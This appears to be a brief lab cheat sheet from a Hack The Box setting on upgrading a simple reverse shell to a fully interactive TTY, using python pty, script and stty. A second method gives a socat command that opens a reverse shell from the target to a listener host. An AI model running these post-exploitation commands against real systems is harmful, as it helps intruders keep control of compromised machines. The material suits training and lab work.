Upgrading TTY
Source: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
Method #1
target@htb[/htb]$ script /dev/null -c bash
target@htb[/htb]$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+z
Intrusionz3r0@htb[/htb]$ stty raw -echo;fg
reset
xterm
target@htb[/htb]$ export TERM=xterm
target@htb[/htb]$ export SHELL=bash
Now we have to set the right terminal size
Intrusionz3r0@htb[/htb]$ stty -a
target@htb[/htb]$ stty rows NUM columns NUM
Method #2
Intrusionz3r0@htb[/htb]$ socat file:`tty`,raw,echo=0 tcp-listen:4444
target@htb[/htb]$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Last updated